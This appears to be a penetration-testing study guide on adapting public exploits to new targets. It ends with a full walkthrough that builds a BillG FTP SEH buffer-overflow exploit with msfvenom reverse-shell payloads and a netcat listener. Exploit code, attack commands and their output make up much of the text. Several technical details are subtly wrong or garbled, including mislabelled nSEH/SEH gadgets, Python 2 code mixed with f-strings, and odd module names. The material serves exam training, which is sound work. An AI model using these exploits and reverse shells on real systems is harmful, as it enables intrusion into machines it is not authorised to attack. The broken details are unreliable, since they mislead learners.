Adapting Exploits for Different Targets
Module 10: Fixing Exploits — Topic 10
Finding an exploit online is only the beginning. The real skill lies in adapting that exploit to work against your specific target. This guide covers every aspect of target adaptation, from basic IP changes to complex multi-scenario adjustments.
Table of Contents
- Target Adaptation Checklist
- IP Address Changes: Host, RHOST, LHOST
- Port Modification and Protocol Considerations
- Service Verification Techniques
- Why You Must Recalculate Everything
- LHOST vs RHOST: Clearing Up Confusion
- UDP vs TCP Exploits
- Multi-Target Scenarios
- Network Topology Considerations
- Complete Adaptation Walkthrough
1. Target Adaptation Checklist
Before diving into specifics, here is the master checklist you should follow every time you adapt an exploit for a new target. Print this out or keep it open during your OSCP lab sessions.
Pre-Exploitation Phase
┌─────────────────────────────────────────────────────────────────┐
│ PRE-EXPLOITATION ADAPTATION CHECKLIST │
├─────────────────────────────────────────────────────────────────┤
│ │
│ □ 1. Verify target is reachable (ping, traceroute) │
│ □ 2. Confirm target service is running (nmap, netcat) │
│ □ 3. Identify exact service version (banner grabbing) │
│ □ 4. Confirm exploit is applicable to this version │
│ □ 5. Note the target IP address (RHOST) │
│ □ 6. Note your attacker IP address (LHOST) │
│ □ 7. Note the service port (may differ from default) │
│ □ 8. Check if any intermediate firewalls/NAT exist │
│ □ 9. Verify network route exists (traceroute) │
│ □ 10. Test basic connectivity to the port (telnet/nc) │
│ │
└─────────────────────────────────────────────────────────────────┘
Exploit Modification Phase
┌─────────────────────────────────────────────────────────────────┐
│ EXPLOIT MODIFICATION CHECKLIST │
├─────────────────────────────────────────────────────────────────┤
│ │
│ □ 11. Change RHOST to target IP │
│ □ 12. Change LHOST to attacker IP │
│ □ 13. Change port to actual service port │
│ □ 14. Verify protocol (TCP vs UDP) matches target │
│ □ 15. Check exploit encoding compatibility │
│ □ 16. Verify payload architecture matches target │
│ □ 17. Check for any hardcoded values in the exploit │
│ □ 18. Review exploit for target-specific assumptions │
│ │
└─────────────────────────────────────────────────────────────────┘
Testing and Validation Phase
┌─────────────────────────────────────────────────────────────────┐
│ TESTING AND VALIDATION CHECKLIST │
├─────────────────────────────────────────────────────────────────┤
│ │
│ □ 19. Set up listener (if reverse shell expected) │
│ □ 20. Run exploit and monitor target response │
│ □ 21. Check target logs for crash/execution evidence │
│ □ 22. If no shell, verify crash occurred (DoS check) │
│ □ 23. If crashed, recalculate offset │
│ □ 24. If no crash, verify payload delivery │
│ □ 25. If shell received, test stability │
│ □ 26. Document what changed and why │
│ │
└─────────────────────────────────────────────────────────────────┘
Critical Rule
Never assume an exploit will work out-of-the-box on a new target. Even if the same service and version are running, differences in environment, patches, configuration, or network topology can cause failure. Always verify and adapt systematically.
2. IP Address Changes: Host, RHOST, LHOST
Understanding the difference between these IP variables is the single most important concept in exploit adaptation. Confusion here is the #1 reason exploits fail in OSCP labs.
The Three IP Variables
| Variable | Meaning | Whose IP? | Direction | Example |
|---|---|---|---|---|
| RHOST | Remote Host | The target machine | Where to send the exploit | 10.10.10.5 |
| LHOST | Local Host | Your (attacker) machine | Where to receive the callback | 10.10.14.3 |
| Host | Server identity | Sometimes the target’s own hostname | Used in HTTP headers, etc. | target.local |
Visual Explanation
graph LR
A["Attacker (Kali)<br/>IP: 10.10.14.3<br/>(LHOST)"] -->|"Send exploit to"| B["Target (Windows)<br/>IP: 10.10.10.5<br/>(RHOST)"]
B -->|"Reverse shell callback to"| A
RHOST — The Remote Host (Target)
RHOST is the IP address of the machine you are attacking. This is where your exploit payload will be sent.
# In a Metasploit module:
rhost = '10.10.10.5' # Target machine
# In a Python exploit script:
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect(('10.10.10.5', 21)) # Connecting to RHOST on port 21
How to find RHOST:
- From your initial reconnaissance/nmap scan
- From the lab documentation
- From
arp -aorip neighoutput
LHOST — The Local Host (Attacker)
LHOST is YOUR IP address — the machine that will receive the reverse shell connection.
# In Metasploit:
set LHOST 10.10.14.3 # Your Kali machine's IP
# In msfvenom payload generation:
msfvenom -p windows/meterpreter/reverse_tcp LHOST=10.10.14.3 LPORT=4444
How to find LHOST:
# On Kali Linux:
ip addr show tun0 # For OSCP lab (tun interface)
ip addr show eth0 # For external network
ifconfig # Quick overview
# Find your specific interface:
ip route get 10.10.10.5 # Shows which interface routes to target
Common IP-Related Mistakes
| Mistake | What Happens | Fix |
|---|---|---|
| Swapping LHOST and RHOST | Shell tries to callback to target; target tries to connect to itself | Double-check which IP is which |
| Using wrong interface IP | Callback goes to unreachable address | Use ip route get <target> to verify |
| Using 127.0.0.1 as LHOST | Shell callbacks to target’s localhost | Never use localhost for LHOST |
| Typo in IP address | Connection fails silently | Copy-paste IPs, never type manually |
| Using NAT/internal IP | Callback can’t route back | Use the IP visible to the target |
Real-World Example: BillG FTP Exploit Adaptation
Here is how the IP addresses appear in the original exploit vs. adapted for a new target:
# ============================================================
# ORIGINAL EXPLOIT (written for 192.168.1.100)
# ============================================================
host = "192.168.1.100" # ← Original target
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((host, 21))
# Payload was generated with:
# msfvenom -p windows/shell_reverse_tcp LHOST=192.168.1.5 LPORT=4444
# ============================================================
# ADAPTED EXPLOIT (for OSCP lab target 10.10.10.5)
# ============================================================
host = "10.10.10.5" # ← New RHOST (target)
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((host, 21))
# Regenerate payload with:
# msfvenom -p windows/shell_reverse_tcp LHOST=10.10.14.3 LPORT=4444
# ← New LHOST (your Kali machine)
Multi-Interface Scenarios
In OSCP labs, you may have multiple network interfaces. Choosing the wrong one is a common pitfall:
# Your Kali might have:
# tun0: 10.10.14.3 ← OSCP lab interface (use this for lab targets)
# eth0: 192.168.1.50 ← Home network interface (don't use for lab)
# lo: 127.0.0.1 ← Loopback (never use for exploits)
# Verify which interface reaches your target:
ip route get 10.10.10.5
# Output: 10.10.10.5 dev tun0 src 10.10.14.3
# ↑ This tells you: use 10.10.14.3 as LHOST
3. Port Modification and Protocol Considerations
Services don’t always run on their default ports. You must adapt the exploit to connect to the correct port.
Common Service Ports Reference
| Service | Default Port | Protocol | Common Alternative Ports |
|---|---|---|---|
| FTP | 21 | TCP | 2121, 8021, 2100 |
| HTTP | 80 | TCP | 8080, 8443, 8000, 8888 |
| HTTPS | 443 | TCP | 8443, 9443 |
| SMB | 445 | TCP | 139 |
| WinRM | 5985 | TCP | 5986 (HTTPS) |
| TFTP | 69 | UDP | — |
| Telnet | 23 | TCP | — |
| SSH | 22 | TCP | 2222, 8022 |
| MySQL | 3306 | TCP | — |
| MSSQL | 1433 | TCP | — |
| VNC | 5900 | TCP | 5901, 5902 |
| DNS | 53 | TCP/UDP | — |
| SMTP | 25 | TCP | 587, 465 |
Finding the Actual Port
# Method 1: Nmap full scan
nmap -p- 10.10.10.5
# Method 2: Nmap with service detection
nmap -sV -p- 10.10.10.5
# Method 3: Check specific service on non-standard port
nmap -p 8080 --script http-title 10.10.10.5
# Example output showing FTP on non-standard port:
# PORT STATE SERVICE VERSION
# 2121/tcp open ftp Microsoft ftpd
Adapting Port in Exploit Code
# ============================================================
# ORIGINAL: FTP on default port 21
# ============================================================
port = 21
s.connect((host, port))
# ============================================================
# ADAPTED: FTP running on port 2121
# ============================================================
port = 2121
s.connect((host, port))
Protocol-Specific Considerations
TCP Services
Most exploits target TCP services. TCP requires a three-way handshake, so you can verify connectivity easily:
# Test TCP connectivity
nc -zv 10.10.10.5 21
telnet 10.10.10.5 21
# If connection succeeds, port is open and TCP protocol works
UDP Services
UDP is connectionless. You cannot “verify” a port is open the same way. Special considerations apply (see Section 7).
Mixed Protocol Services
Some services use both TCP and UDP. Ensure your exploit uses the correct protocol:
# TCP socket (most common)
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
# UDP socket (TFTP, DNS, etc.)
s = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
4. Service Verification Techniques
Before adapting an exploit, you MUST verify that the target service is actually running and is the correct version.
Technique 1: Nmap Service Detection
# Basic service version detection
nmap -sV 10.10.10.5
# Detailed output with all scripts
nmap -sV -sC -p- -A 10.10.10.5 -oN full_scan.txt
# Focus on specific service
nmap -sV -p 21 10.10.10.5
Example output:
PORT STATE SERVICE VERSION
21/tcp open ftp Microsoft ftpd
| ftp-anon: Anonymous FTP login allowed
|_ftp-syst: SYST: Windows_NT
Service Info: OS: Windows; CPE: cpe:/o:microsoft:windows
Technique 2: Banner Grabbing with Netcat
# Connect and read the banner
nc -v 10.10.10.5 21
# Output:
# (000000001) Open.
# 220 Microsoft FTP Service
Technique 3: Manual FTP Interaction
# Connect via netcat and send FTP commands
nc 10.10.10.5 21
USER anonymous
PASS test@test.com
LIST
Technique 4: Using the Exploit’s Own Protocol
Some exploits require specific protocol interactions. Test manually:
# Quick Python test to verify service responds
import socket
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect(('10.10.10.5', 21))
banner = s.recv(1024)
print(banner.decode())
s.close()
Technique 5: Version-Specific Verification
When an exploit targets a specific version, verify precisely:
# Check exact version string
nmap --script ftp-version -p 21 10.10.10.5
# Use searchsploit to find matching exploits
searchsploit "Microsoft FTP Server"
# Verify CVE matches
searchsploit -m exploits/number.py
cat exploits/number.py | grep -i "version\|cve\|affected"
Verification Checklist
┌──────────────────────────────────────────────────────────────┐
│ SERVICE VERIFICATION │
├──────────────────────────────────────────────────────────────┤
│ │
│ 1. Is the port open? → nmap -p <port> <target> │
│ 2. What service is running? → nmap -sV -p <port> <target> │
│ 3. What version? → Banner grab + nmap scripts │
│ 4. Is it the right protocol? → TCP vs UDP check │
│ 5. Can I interact? → nc/telnet manual test │
│ 6. Does exploit match? → Searchsploit + version match │
│ │
└──────────────────────────────────────────────────────────────┘
5. Why You Must Recalculate Everything
This is a critical concept: you cannot reuse exploit parameters from one target on another without recalculation. Even if the same service and version are running, the underlying binary may differ.
Why Offsets Change
The offset (distance from the start of your input to the EIP overwrite) depends on:
| Factor | Why It Changes |
|---|---|
| Binary compilation | Different compiler, flags, or build produces different memory layout |
| Operating system | Windows XP vs Windows 7 have different library loading |
| Service configuration | Different config can change buffer sizes |
| Patches/updates | Hotfixes may change memory addresses |
| Architecture | 32-bit vs 64-bit completely changes everything |
| ASLR | Address Space Layout Randomization randomizes addresses |
| DEP | Data Execution Prevention changes what techniques work |
Why Bad Characters May Change
Target A (Windows XP):
Bad chars: \x00, \x0a, \x0d
Target B (Windows 7):
Bad chars: \x00, \x0a, \x0d, \x26, \x2e
→ Different OS, different string parsing, different bad chars!
Bad characters depend on:
- How the service parses input (string vs binary mode)
- What characters the protocol considers special
- Encoding/decoding layers in the service
- OS-level string handling differences
Why Modules (BadChars-Free JMP ESP) Change
The memory address for JMP ESP (or other useful instructions) depends on:
Module A on Target A: 0x62501908 (msvcrt.dll on Win XP SP3)
Module A on Target B: 0x76043B3F (msvcrt.dll on Win 7 x64)
Module B on Target A: 0x1001A472 (different DLL entirely)
The Golden Rule
Every new target = fresh recalculation of offset, bad characters, AND modules.
Do NOT skip any step. Do NOT assume anything carries over. Even if two machines run “the same” service, verify everything from scratch.
Recalculation Workflow
flowchart TD
A[New Target Identified] --> B[Recalculate Offset]
B --> C[Send monotone pattern]
C --> D[Check EIP value]
D --> E[Calculate exact offset]
E --> F[Test offset with AAAABBBBCCCC]
F --> G[Recalculate Bad Characters]
G --> H[Send full char set]
H --> I[Compare sent vs received]
I --> J[Identify bad chars]
J --> K[Find JMP ESP Module]
K --> L[Identify loaded DLLs]
L --> M[Search for stable module]
M --> N[Verify with mona/find]
N --> O[Generate final payload]
O --> P[Test exploit]
6. LHOST vs RHOST: Clearing Up Confusion
This is the most common mistake in OSCP labs. Let’s clear it up once and for all.
The Mnemonic
LHOST = "LOCAL" = YOUR machine = Where the shell comes BACK TO
RHOST = "REMOTE" = TARGET machine = Where you send the exploit TO
Visual Memory Aid
Exploit flies this way ──────────────►
┌──────────────────────┐ ┌──────────────────────┐
│ ATTACKER (Kali) │ │ TARGET (Windows) │
│ │ │ │
│ This is LHOST │ │ This is RHOST │
│ "Local" to you │ │ "Remote" from you │
│ │ │ │
│ 10.10.14.3 │ │ 10.10.10.5 │
└──────────────────────┘ └──────────────────────┘
▲ Reverse shell comes back this way │
└─────────────────────────────────────┘
The Two Directions
| Direction | What travels | From | To | IP Variable |
|---|---|---|---|---|
| Outbound | Exploit payload | Attacker | Target | Uses RHOST |
| Inbound | Reverse shell | Target | Attacker | Uses LHOST |
Common Scenarios and Their IPs
Scenario 1: Reverse Shell (Most Common)
# You send exploit TO target (RHOST)
# Target calls back TO you (LHOST)
# In exploit code:
s.connect(('10.10.10.5', 21)) # RHOST - connecting to target
# In payload generation:
# msfvenom -p windows/shell_reverse_tcp LHOST=10.10.14.3 LPORT=4444
# ↑ LHOST is embedded in the payload - target will connect back here
Scenario 2: Bind Shell
# With a bind shell, the target opens a port
# You connect TO the target on that port
# msfvenom -p windows/shell_bind_tcp RPORT=4444
# ↑ No LHOST needed - target listens, you connect
# Then connect:
nc 10.10.10.5 4444 # Connecting to RHOST on bind port
Scenario 3: Metasploit Module
# In Metasploit, the roles are explicit:
use exploit/windows/ftp/ms09_001_writer
set RHOST 10.10.10.5 # Target
set LHOST 10.10.14.3 # Your machine
set PAYLOAD windows/meterpreter/reverse_tcp
exploit
The “I Swapped Them” Symptom
If you swap LHOST and RHOST:
Expected: Target (10.10.10.5) connects back to you (10.10.14.3)
Actual: Target (10.10.10.5) tries to connect to itself (10.10.10.5)
You (10.10.14.3) wait for a connection that never comes
Symptoms:
- Exploit seems to work (target crashes or processes payload)
- But no shell is received
netstaton target shows connection attempt to wrong IP- Listener on attacker shows no incoming connection
Fix: Swap LHOST and RHOST values and try again.
Quick Self-Check Questions
Before running any exploit, ask yourself:
Q1: What IP am I sending the exploit TO?
→ That should be RHOST
Q2: What IP do I want the shell to come BACK TO?
→ That should be LHOST
Q3: Is LHOST an IP that the target can REACH?
→ If not, no shell will arrive
Q4: Is RHOST the actual target?
→ Verify with nmap/ping
7. UDP vs TCP Exploits
Most exploits use TCP, but some services use UDP. UDP exploits require different adaptation approaches.
Key Differences
| Aspect | TCP | UDP |
|---|---|---|
| Connection | Connection-oriented (handshake) | Connectionless (fire and forget) |
| Reliability | Guaranteed delivery | No delivery guarantee |
| Port verification | nc -zv confirms open |
Cannot confirm open (silent drop) |
| Socket type | SOCK_STREAM |
SOCK_DGRAM |
| Exploit complexity | Simpler | Often more complex |
TFTP Exploit Example
TFTP (Trivial File Transfer Protocol) runs on UDP port 69. This is a classic OSCP scenario.
TCP Socket (Standard)
# Most exploits use TCP
import socket
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect(('10.10.10.5', 21))
s.send(b'USER test\r\n')
response = s.recv(1024)
UDP Socket (TFTP)
# TFTP requires UDP
import socket
s = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
# No connect() needed for UDP, but you can use it for convenience
s.connect(('10.10.10.5', 69))
# Craft TFTP packet manually
# TFTP RRQ (Read Request) packet format:
# [Opcode: 2 bytes][Filename: N bytes][\x00][Mode: N bytes][\x00]
packet = struct.pack('>H', 1) # Opcode 1 = RRQ
packet += b'A' * 500 # Overflow in filename field
packet += b'\x00'
packet += b'netascii'
packet += b'\x00'
s.send(packet)
UDP-Specific Adaptation Concerns
1. No Connection Verification
# TCP: Easy to verify
nc -zv 10.10.10.5 21
# Connection to 10.10.10.5 21 port [tcp/ftp] succeeded!
# UDP: Cannot verify the same way
nc -uzv 10.10.10.5 69
# May show "succeeded" even if service isn't running
# (UDP doesn't send RST for closed ports)
2. Packet Crafting Required
UDP exploits often require manual packet construction:
import struct
def craft_tftp_rrq(filename, mode='netascii'):
"""Craft a TFTP Read Request packet"""
opcode = struct.pack('>H', 1) # RRQ = 1
filename_bytes = filename.encode() + b'\x00'
mode_bytes = mode.encode() + b'\x00'
return opcode + filename_bytes + mode_bytes
def craft_tftp_wrq(filename, mode='netascii'):
"""Craft a TFTP Write Request packet"""
opcode = struct.pack('>H', 2) # WRQ = 2
filename_bytes = filename.encode() + b'\x00'
mode_bytes = mode.encode() + b'\x00'
return opcode + filename_bytes + mode_bytes
3. Port Binding
For UDP reverse shells, you may need to specify the source port:
s = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
s.bind(('0.0.0.0', 69)) # Bind to specific source port if needed
s.sendto(packet, ('10.10.10.5', 69))
UDP Exploit Adaptation Checklist
┌──────────────────────────────────────────────────────────────┐
│ UDP EXPLOIT ADAPTATION │
├──────────────────────────────────────────────────────────────┤
│ │
│ □ Change socket type to SOCK_DGRAM │
│ □ Verify UDP port is actually open (use nmap -sU) │
│ □ Craft protocol-specific packets manually │
│ □ Handle lack of connection acknowledgment │
│ □ May need to increase retry count (UDP drops packets) │
│ □ Check if target sends response on different port │
│ □ Some UDP services use ephemeral ports for responses │
│ │
└──────────────────────────────────────────────────────────────┘
8. Multi-Target Scenarios
Sometimes the same vulnerability exists across multiple machines or versions. Here’s how to handle these scenarios efficiently.
Scenario 1: Same Vulnerability, Different Machines
Target A: 10.10.10.5 - Microsoft IIS 5.0 (Windows 2000)
Target B: 10.10.10.10 - Microsoft IIS 5.0 (Windows 2000)
Target C: 10.10.10.15 - Microsoft IIS 6.0 (Windows 2003)
Approach:
- Adapt exploit for Target A first (full workflow)
- For Target B: Only change RHOST — everything else stays the same
- For Target C: May need different exploit entirely (different IIS version)
# Reusable exploit template
TARGET_IP = "10.10.10.5" # Change per target
TARGET_PORT = 80
ATTACKER_IP = "10.10.14.3" # Stays the same
def exploit_target(target_ip, target_port):
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((target_ip, target_port))
# ... rest of exploit
return s
Scenario 2: Same Service, Different Versions
| Target | Service | Version | Same Exploit? |
|---|---|---|---|
| DC-1 | vsftpd | 2.3.4 | Yes (backdoor) |
| DC-2 | vsftpd | 3.0.3 | No (different vuln) |
| JackTheRipper | ProFTPD | 1.3.3c | No (different service) |
Rule: Same service name ≠ same vulnerability. Always check the version.
Scenario 3: Version Range Exploits
Some exploits work across a range of versions:
Exploit: MS10-061 Services ServerPC
Affected: Windows Server 2003 SP2
Windows Server 2008 SP2
Windows Vista SP2
Windows 7
→ One exploit, multiple valid targets
→ Only RHOST changes between targets
→ Module (JMP ESP) may differ between OS versions!
Efficient Multi-Target Workflow
# Step 1: Scan all targets for the service
nmap -sV -p 80,443,8080 10.10.10.0/24 --open -oA multi_scan
# Step 2: Identify which targets have the vulnerable version
grep "vulnerable_version" multi_scan.nmap
# Step 3: Adapt exploit for first target
# (Full workflow: offset, bad chars, modules)
# Step 4: For remaining targets with SAME version:
# - Change RHOST only
# - Verify modules are still valid (may need adjustment)
# - Test and confirm
# Step 5: Document results per target
Module Stability Across Versions
Windows XP SP3 English:
msvcrt.dll → 0x77E813AD (JMP ESP) ← Stable across reboots
Windows 7 SP1 English:
kernel32.dll → 0x76043B3F (JMP ESP) ← Different module!
Windows 7 SP1 German:
kernel32.dll → 0x75A83B3F (JMP ESP) ← Different address!
Key insight: Even the same OS version in different languages may have different module addresses. Always verify modules per target.
9. Network Topology Considerations
OSCP labs have specific network topologies that affect exploit adaptation. Understanding these is crucial.
OSCP Lab Network Layout
graph TB
subgraph "Attacker Network"
KALI["Kali Linux<br/>10.10.14.x<br/>(tun0)"]
end
subgraph "Target Network"
TARGET1["Target 1<br/>10.10.10.x"]
TARGET2["Target 2<br/>10.10.10.x"]
TARGET3["Target 3<br/>10.10.10.x"]
end
subgraph "Infrastructure"
GATEWAY["Lab Gateway"]
FIREWALL["Firewall Rules"]
end
KALI -->|"tun0 interface"| GATEWAY
GATEWAY --> TARGET1
GATEWAY --> TARGET2
GATEWAY --> TARGET3
FIREWALL -.->|"May block ports"| GATEWAY
Common Network Issues
Issue 1: Multiple Interfaces
# Your Kali has multiple interfaces:
1: lo: <LOOPBACK> mtu 65536 qdisc noop
inet 127.0.0.1/8
2: eth0: <BROADCAST> mtu 1500 qdisc fq_codel
inet 192.168.1.100/24 ← Home network
3: tun0: <POINTOPOINT> mtu 1500 qdisc fq_codel
inet 10.10.14.3/24 ← OSCP lab (USE THIS)
# Wrong LHOST: 192.168.1.100 (target can't reach this)
# Right LHOST: 10.10.14.3 (target CAN reach this)
Issue 2: Firewall Rules
# Test if a port is reachable from target's perspective
# (This is hard to test directly, but you can try:)
# From attacker, verify outbound connectivity:
nc -zv 10.10.10.5 4444
# If this fails, the firewall may block your listener port
# Try a different port:
nc -lvnp 80 # HTTP port usually allowed
nc -lvnp 443 # HTTPS port usually allowed
nc -lvnp 8080 # Alternative HTTP
Issue 3: NAT and Port Forwarding
In some lab environments, targets may be behind NAT:
Your Kali (10.10.14.3) → Lab Gateway → NAT → Target (192.168.x.x)
→ RHOST is still the target's visible IP (10.10.10.x)
→ LHOST must be an IP the target can route back to
→ If target is behind NAT, reverse shells may not work
→ Try bind shells as alternative
Issue 4: Routing Problems
# Check if you can reach the target
ping 10.10.10.5
# Check the route
ip route get 10.10.10.5
# Should show: 10.10.10.5 dev tun0 src 10.10.14.3
# If route is wrong, fix it:
ip route add 10.10.10.0/24 dev tun0
Network Troubleshooting Checklist
┌──────────────────────────────────────────────────────────────┐
│ NETWORK TROUBLESHOOTING │
├──────────────────────────────────────────────────────────────┤
│ │
│ Problem: No shell received │
│ │
│ 1. Can you ping the target? → ping 10.10.10.5 │
│ 2. Is the port open? → nc -zv 10.10.10.5 21 │
│ 3. Is LHOST correct? → ip route get <target> │
│ 4. Is listener running? → netstat -tlnp │
│ 5. Is firewall blocking? → Try different port │
│ 6. Is the exploit crashing? → Check target behavior │
│ 7. Is payload reaching target? → Check with debugger │
│ 8. Is bad char in payload? → Verify encoding │
│ │
└──────────────────────────────────────────────────────────────┘
10. Complete Adaptation Walkthrough
Let’s walk through a complete real-world example: adapting the BillG FTP Server 3.0 exploit from its original target to an OSCP lab machine.
Step 1: Initial Reconnaissance
# Scan the target
nmap -sV -sC -p- -A 10.10.10.5 -oN billg_scan.txt
# Output:
# PORT STATE SERVICE VERSION
# 21/tcp open ftp BillG FTP server (version 3.0)
# | ftp-anon: Anonymous FTP login allowed (Login: anonymous, Password: anonymous)
# | ftp-syst: SYST: Windows
# Service Info: OS: Windows
Findings:
- Target:
10.10.10.5 - Service: BillG FTP Server 3.0
- Port: 21 (default)
- OS: Windows
- Anonymous login: Allowed
Step 2: Find the Exploit
searchsploit "BillG FTP 3.0"
# Output:
# BillG FTP Server 3.0 - Remote Buffer Overflow (SEH) | exploits/windows/remote/16223.py
Step 3: Download and Review the Exploit
searchsploit -m 16223.py
cp /usr/share/exploitdb/exploits/windows/remote/16223.py .
cat 16223.py
Original exploit contents:
#!/usr/bin/env python
import socket, time
print "BillG FTP Server 3.0 SEH Overflow"
ip = "192.168.1.100" # ← Original target
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
conn = s.connect((ip, 21))
buffer = "\x41" * 2200 # ← Original offset (may not work!)
s.send('SITE ' + buffer + "\r\n")
time.sleep(1)
s.close()
Step 4: Adapt IP Addresses
# Change the target IP
ip = "10.10.10.5" # ← New RHOST
# Note your attacker IP for later payload generation
# LHOST = "10.10.14.3"
Step 5: Verify Service
# Confirm service is running
nc -zv 10.10.10.5 21
# Banner grab
nc 10.10.10.5 21
# Output: 220 BillG FTP server 3.0 ready
Step 6: Recalculate Offset
Even though the exploit claims offset 2200, we must verify:
# Create pattern for offset finding
from pattern_create import main
main([str(2500)])
# Output: Aa0Aa1Aa2Aa3Aa4... (2500 chars)
# Use this pattern in exploit
buffer = "Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7..." # Full pattern
# Run exploit, check crash
# In Immunity Debugger, check SEH value
# !mona config -s C:\immunity\mona
!mona seh
# Suppose SEH contains: 39694539
!mona find -s 39694539 -m *.dll
# Or use pattern_offset:
python pattern_offset.py -q 39694539
# Output: Found at offset: 2006
Result: Actual offset is 2006, not 2200!
Step 7: Recalculate Bad Characters
# Define bad char list
badchars = (
"\x01\x02\x03\x04\x05\x06\x07\x08\x09\x0a\x0b\x0c\x0d\x0e\x0f"
"\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f"
"\x20\x21\x22\x23\x24\x25\x26\x27\x28\x29\x2a\x2b\x2c\x2d\x2e\x2f"
# ... continue through \xff
)
# Place bad chars in payload after offset
buffer = "A" * 2006 + "BBBB" + badchars
# Run exploit, compare in Immunity:
# !mona compare -f C:\badchars.bin -a <seh_address>
# Check which chars were modified or dropped
Result: Bad chars found: \x00, \x0a, \x0d
Step 8: Find SEH Module
# In Immunity Debugger with mona:
!mona modules
# Look for module with:
# - Rebase: NO
# - ASLR: NO
# - SafeSEH: NO
# Found: dbgcore.dll
# Address space: 25000000-25017000
!mona seh -c \xe4
# Found: 25016780 : mov eax,[4];ret in dbgcore.dll
# SEH override: \x80\x67\x01\x25 (little endian)
# Next-SEH: \xe4\x14\x06\x00 (POP POP RET for nSEH)
Step 9: Generate Payload
# Generate shellcode avoiding bad chars (\x00, \x0a, \x0d)
msfvenom -p windows/shell_reverse_tcp LHOST=10.10.14.3 LPORT=4444 \
-b "\x00\x0a\x0d" -f python -v shellcode
Step 10: Assemble Final Exploit
#!/usr/bin/env python
import socket, time, sys
print "[+] BillG FTP Server 3.0 SEH Overflow - Adapted"
print "[+] Target: 10.10.10.5"
print "[+] Attacker: 10.10.14.3"
# ---- Configuration ----
RHOST = "10.10.10.5" # Target IP
LHOST = "10.10.14.3" # Attacker IP
LPORT = 4444 # Listener port
PORT = 21 # Service port
# ---- Payload ----
shellcode = (
"\xfc\xe8\x82\x00\x00\x00\x60\x89\xe5\x64\x8b\x52\x30"
# ... full shellcode from msfvenom (no bad chars)
)
# ---- Buffer Construction ----
offset = 2006
nseh = "\xe4\x14\x06\x00" # POP POP RET (dbgcore.dll)
seh = "\x80\x67\x01\x25" # MOV EAX,[4]; RET (dbgcore.dll)
padding = "\x90" * 16 # NOP sled
padding2 = "\x90" * (2000 - len(shellcode) - len(nseh) - len(seh) - 16)
buffer = (
"A" * offset +
nseh +
seh +
padding +
shellcode +
padding2
)
# ---- Send Exploit ----
try:
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((RHOST, PORT))
print "[+] Connected to target"
s.send(b'USER anonymous\r\n')
time.sleep(1)
s.recv(1024)
s.send(b'PASS anonymous\r\n')
time.sleep(1)
s.recv(1024)
print "[+] Sending exploit..."
s.send(('SITE ' + buffer + "\r\n").encode())
time.sleep(3)
s.close()
print "[+] Exploit sent. Check your listener!"
except Exception as e:
print f"[-] Error: {e}"
Step 11: Set Up Listener and Execute
# Terminal 1: Set up listener
nc -lvnp 4444
# Terminal 2: Run exploit
python billg_exploit.py
# Output:
# [+] BillG FTP Server 3.0 SEH Overflow - Adapted
# [+] Target: 10.10.10.5
# [+] Attacker: 10.10.14.3
# [+] Connected to target
# [+] Sending exploit...
# [+] Exploit sent. Check your listener!
# Terminal 1 should show:
# connect to [10.10.14.3] from (UNKNOWN) [10.10.10.5] 12345
# whoami
# target\user
Step 12: Verify and Document
## Exploit Adaptation Summary
### Target
- IP: 10.10.10.5
- Service: BillG FTP Server 3.0
- Port: 21
- OS: Windows
### Adaptations Made
1. RHOST: 192.168.1.100 → 10.10.10.5
2. LHOST: Set to 10.10.14.3
3. Offset: 2200 (original) → 2006 (recalculated)
4. Bad chars: \x00, \x0a, \x0d
5. SEH Module: dbgcore.dll @ 0x25016780
6. nSEH: 0x000614e4 (POP POP RET)
### Result
✅ Shell obtained successfully
Quick Reference Cards
IP Variable Quick Reference
┌────────────────────────────────────────────────────┐
│ LHOST = YOUR IP = Where shell comes BACK TO │
│ RHOST = TARGET IP = Where you send exploit TO │
│ │
│ Reverse Shell: Target → connects to → LHOST │
│ Bind Shell: You → connect to → RHOST:port │
└────────────────────────────────────────────────────┘
Adaptation Priority Order
1. Change IPs (RHOST, LHOST) ← Easy, but critical
2. Change port ← Easy
3. Verify service/version ← Medium
4. Recalculate offset ← Hard, but necessary
5. Recalculate bad characters ← Hard
6. Find new modules ← Hard
7. Regenerate payload ← Medium
8. Test and iterate ← Always needed
Common Exploit Frameworks and Their IP Variables
| Framework | Target IP | Attacker IP | Port |
|---|---|---|---|
| Metasploit | RHOST |
LHOST |
RPORT |
| Python socket | connect((ip, port)) |
Embedded in payload | Variable |
| Nmap NSE | Target in scan | N/A | Specified |
| SQLMap | --url parameter |
N/A | In URL |
| Burp Suite | In HTTP request | N/A | In request |
Summary
Adapting exploits for different targets is a systematic process that requires attention to detail at every step. The key principles are:
- Always verify — Never assume the target matches the exploit’s assumptions
- Always recalculate — Offset, bad characters, and modules must be recalculated per target
- Always double-check IPs — LHOST and RHOST confusion is the most common failure point
- Always test incrementally — Verify each component works before moving to the next
- Always document — Record what you changed and why for future reference
Mastering exploit adaptation separates those who can exploit one machine from those who can exploit any machine. Practice this workflow repeatedly, and it will become second nature.
This study guide is part of the OSCP Fixing Exploits module series. For the complete collection, see the parent directory.